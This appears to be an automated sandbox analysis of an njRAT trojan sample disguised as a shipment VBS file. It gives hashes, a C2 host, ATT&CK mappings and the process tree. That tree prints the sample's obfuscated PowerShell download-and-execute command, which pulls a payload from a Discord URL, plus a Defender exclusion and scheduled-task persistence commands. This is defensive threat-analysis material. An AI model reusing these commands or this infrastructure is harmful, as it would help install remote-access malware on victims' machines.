njrat | 313bb9d87b5bbdc4cc164ee429b41bcac1605401e1c3e7fa8d1fa287277e3cce

General

Target

Shipment#45523666245.vbs
Size

15KB
MD5

b671f9ee1edb1e6f2911c22c4e6ebbaf
SHA1

6de6dfee5b87a8f52ce34bc0c9d147bc69faa04e
SHA256

313bb9d87b5bbdc4cc164ee429b41bcac1605401e1c3e7fa8d1fa287277e3cce
SHA512

15f4ed29c203cf9a2da50b5df6d898e79feb08cf9ddc0ab7c315eeab9038745743e5352dc2db5197c3bf3817d26590bf4adc21a91a68fd2dcd633e3712fa4832

Score

10^/10

njrat ------(meilller)------trojan

Malware Config

Extracted

Family

njrat

Version

v2.0

Botnet

------(MEILLLER)------

C2

new.libya2020.com.ly:2020

Mutex

Windows

Attributes

reg_key
Windows
splitter
|-F-|

Signatures

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

5 832 powershell.exe
Executes dropped EXE 2 IoCs

Processes:

update.exeupdate.exe

pid process

1100 update.exe
1760 update.exe
Drops startup file 1 IoCs

Processes:

update.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.lnk update.exe
Loads dropped DLL 1 IoCs

Processes:

update.exe

pid process

1100 update.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

update.exe

description pid process target process

PID 1100 set thread context of 1760 1100 update.exe update.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1968 schtasks.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

832 powershell.exe
832 powershell.exe
832 powershell.exe
1344 powershell.exe

flow	pid	process
5	832	powershell.exe

pid	process
1100	update.exe
1760	update.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.lnk	update.exe

pid	process
1100	update.exe

description	pid	process	target process
PID 1100 set thread context of 1760	1100	update.exe	update.exe

pid	process
1968	schtasks.exe

pid	process
832	powershell.exe
832	powershell.exe
832	powershell.exe
1344	powershell.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

Processes:

powershell.exepowershell.exeupdate.exe

description	pid	process
Token: SeDebugPrivilege	832	powershell.exe
Token: SeDebugPrivilege	1344	powershell.exe
Token: SeDebugPrivilege	1760	update.exe
Token: 33	1760	update.exe
Token: SeIncBasePriorityPrivilege	1760	update.exe
Token: 33	1760	update.exe
Token: SeIncBasePriorityPrivilege	1760	update.exe
Token: 33	1760	update.exe
Token: SeIncBasePriorityPrivilege	1760	update.exe
Token: 33	1760	update.exe
Token: SeIncBasePriorityPrivilege	1760	update.exe
Token: 33	1760	update.exe
Token: SeIncBasePriorityPrivilege	1760	update.exe
Token: 33	1760	update.exe
Token: SeIncBasePriorityPrivilege	1760	update.exe
Token: 33	1760	update.exe
Token: SeIncBasePriorityPrivilege	1760	update.exe
Token: 33	1760	update.exe
Token: SeIncBasePriorityPrivilege	1760	update.exe

Suspicious use of WriteProcessMemory 30 IoCs

Processes:

WScript.exepowershell.exeupdate.exe

description	pid	process	target process
PID 656 wrote to memory of 832	656	WScript.exe	powershell.exe
PID 656 wrote to memory of 832	656	WScript.exe	powershell.exe
PID 656 wrote to memory of 832	656	WScript.exe	powershell.exe
PID 832 wrote to memory of 1100	832	powershell.exe	update.exe
PID 832 wrote to memory of 1100	832	powershell.exe	update.exe
PID 832 wrote to memory of 1100	832	powershell.exe	update.exe
PID 832 wrote to memory of 1100	832	powershell.exe	update.exe
PID 832 wrote to memory of 1100	832	powershell.exe	update.exe
PID 832 wrote to memory of 1100	832	powershell.exe	update.exe
PID 832 wrote to memory of 1100	832	powershell.exe	update.exe
PID 1100 wrote to memory of 1344	1100	update.exe	powershell.exe
PID 1100 wrote to memory of 1344	1100	update.exe	powershell.exe
PID 1100 wrote to memory of 1344	1100	update.exe	powershell.exe
PID 1100 wrote to memory of 1344	1100	update.exe	powershell.exe
PID 1100 wrote to memory of 1968	1100	update.exe	schtasks.exe
PID 1100 wrote to memory of 1968	1100	update.exe	schtasks.exe
PID 1100 wrote to memory of 1968	1100	update.exe	schtasks.exe
PID 1100 wrote to memory of 1968	1100	update.exe	schtasks.exe
PID 1100 wrote to memory of 1760	1100	update.exe	update.exe
PID 1100 wrote to memory of 1760	1100	update.exe	update.exe
PID 1100 wrote to memory of 1760	1100	update.exe	update.exe
PID 1100 wrote to memory of 1760	1100	update.exe	update.exe
PID 1100 wrote to memory of 1760	1100	update.exe	update.exe
PID 1100 wrote to memory of 1760	1100	update.exe	update.exe
PID 1100 wrote to memory of 1760	1100	update.exe	update.exe
PID 1100 wrote to memory of 1760	1100	update.exe	update.exe
PID 1100 wrote to memory of 1760	1100	update.exe	update.exe
PID 1100 wrote to memory of 1760	1100	update.exe	update.exe
PID 1100 wrote to memory of 1760	1100	update.exe	update.exe
PID 1100 wrote to memory of 1760	1100	update.exe	update.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Shipment#45523666245.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:656

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $NOTHING = '(N`e`uprWjOFkvkmXBfdt`.W`e'.Replace('uprWjOFkvkmXBfd','w-Object Ne');$alosh='bCxNDFdlAckIUgChpnlo'.Replace('xNDFdlAckIUgChp','lient).Dow'); $Dont='adString(''https://cdn.discordapp.com/attachments/903219380505169933/903220062633209916/UPS.jpg'')';$YOUTUBE=I`E`X ($NOTHING,$alosh,$Dont -Join '')|I`E`X
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:832

C:\Users\Public\update.exe
"C:\Users\Public\update.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1100

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\update.exe"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1344

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FrAhvaHxqGKf" /XML "C:\Users\Admin\AppData\Local\Temp\tmpEABC.tmp"
4⤵
- Creates scheduled task(s)
PID:1968

C:\Users\Public\update.exe
"C:\Users\Public\update.exe"
4⤵
- Executes dropped EXE
- Drops startup file
- Suspicious use of AdjustPrivilegeToken
PID:1760

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Public\update.exe

MD5
7059d3f5185128394432baaaa44ee4ea

SHA1
462dbc0838cb721cfb99ce505a30b0c32237e5ba

SHA256
cb12e8f994044454d20ef2effd5d91d9573f1c5b6230b87df75f51bd4921878a

SHA512
d7ddd0b4c0b72581c1e52f309eaa1f48834caa27bb43ec5b0f47b9e37085244c7e250e6eb46faeee249e02b0a5bb1a2c0c05e1c9eb6ee69bd5cd9ef3e3153ff5

Download Submit
C:\Users\Public\update.exe

MD5
7059d3f5185128394432baaaa44ee4ea

SHA1
462dbc0838cb721cfb99ce505a30b0c32237e5ba

SHA256
cb12e8f994044454d20ef2effd5d91d9573f1c5b6230b87df75f51bd4921878a

SHA512
d7ddd0b4c0b72581c1e52f309eaa1f48834caa27bb43ec5b0f47b9e37085244c7e250e6eb46faeee249e02b0a5bb1a2c0c05e1c9eb6ee69bd5cd9ef3e3153ff5

Download Submit
C:\Users\Public\update.exe

MD5
7059d3f5185128394432baaaa44ee4ea

SHA1
462dbc0838cb721cfb99ce505a30b0c32237e5ba

SHA256
cb12e8f994044454d20ef2effd5d91d9573f1c5b6230b87df75f51bd4921878a

SHA512
d7ddd0b4c0b72581c1e52f309eaa1f48834caa27bb43ec5b0f47b9e37085244c7e250e6eb46faeee249e02b0a5bb1a2c0c05e1c9eb6ee69bd5cd9ef3e3153ff5

Download Submit
\Users\Public\update.exe

MD5
7059d3f5185128394432baaaa44ee4ea

SHA1
462dbc0838cb721cfb99ce505a30b0c32237e5ba

SHA256
cb12e8f994044454d20ef2effd5d91d9573f1c5b6230b87df75f51bd4921878a

SHA512
d7ddd0b4c0b72581c1e52f309eaa1f48834caa27bb43ec5b0f47b9e37085244c7e250e6eb46faeee249e02b0a5bb1a2c0c05e1c9eb6ee69bd5cd9ef3e3153ff5

Download Submit
memory/656-55-0x000007FEFBA71000-0x000007FEFBA73000-memory.dmp

Filesize
8KB

Download
memory/832-61-0x0000000002874000-0x0000000002877000-memory.dmp

Filesize
12KB

Download
memory/832-62-0x000000000287B000-0x000000000289A000-memory.dmp

Filesize
124KB

Download
memory/832-58-0x000007FEF2500000-0x000007FEF305D000-memory.dmp

Filesize
11.4MB

Download
memory/832-60-0x0000000002872000-0x0000000002874000-memory.dmp

Filesize
8KB

Download
memory/832-59-0x0000000002870000-0x0000000002872000-memory.dmp

Filesize
8KB

Download
memory/832-56-0x0000000000000000-mapping.dmp

Download
memory/1100-63-0x0000000000000000-mapping.dmp

Download
memory/1100-66-0x0000000000060000-0x0000000000061000-memory.dmp

Filesize
4KB

Download
memory/1100-68-0x0000000000680000-0x0000000000681000-memory.dmp

Filesize
4KB

Download
memory/1100-69-0x00000000004B0000-0x00000000004B6000-memory.dmp

Filesize
24KB

Download
memory/1100-70-0x0000000002020000-0x0000000002048000-memory.dmp

Filesize
160KB

Download
memory/1344-71-0x0000000000000000-mapping.dmp

Download
memory/1344-72-0x0000000075821000-0x0000000075823000-memory.dmp

Filesize
8KB

Download
memory/1344-87-0x0000000002002000-0x0000000002004000-memory.dmp

Filesize
8KB

Download
memory/1344-86-0x0000000002001000-0x0000000002002000-memory.dmp

Filesize
4KB

Download
memory/1344-85-0x0000000002000000-0x0000000002001000-memory.dmp

Filesize
4KB

Download
memory/1760-77-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download
memory/1760-75-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download
memory/1760-76-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download
memory/1760-82-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download
memory/1760-78-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download
memory/1760-80-0x00000000004083AE-mapping.dmp

Download
memory/1760-79-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download
memory/1760-88-0x00000000058F0000-0x00000000058F1000-memory.dmp

Filesize
4KB

Download
memory/1968-73-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads